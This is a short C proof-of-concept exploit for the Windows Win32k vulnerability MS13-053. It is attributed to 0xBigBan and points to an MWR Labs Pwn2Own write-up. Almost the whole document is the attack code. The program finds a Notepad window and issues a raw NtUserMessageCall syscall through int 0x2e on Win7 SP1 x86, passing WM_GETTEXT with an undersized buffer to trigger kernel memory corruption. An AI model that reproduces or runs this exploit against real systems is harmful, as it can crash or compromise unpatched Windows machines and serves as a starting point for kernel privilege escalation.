Win32k Memory Allocation Vulnerability(MS13-053)

                                                /*
        more detials:
        https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up-kernel-exploit/
        this poc is written by 0xBigBan
*/
#include <windows.h>
   
#define __NtUserMessageCall 0x11ea //on win7 sp1 x86
  
void SystemCall(DWORD ApiNumber, ...) {
        __asm{
                lea edx, [ebp+0x0c]
                mov eax, ApiNumber
                int 0x2e
                leave
                ret
        }
}
   
int main() {
        //you should have open a txt file with notepad
        HWND handle = FindWindow(NULL,"a.txt - notepad");
        void* ptr = malloc(sizeof(int)*2);
          
        SystemCall(__NtUserMessageCall,
                                handle,
                                WM_GETTEXT,
                                0x8,    //buffer size
                                ptr,    //user mode buffer
                                0x0,
                                0x2b3,
                                0x2);   //ASCII boolean/flag
}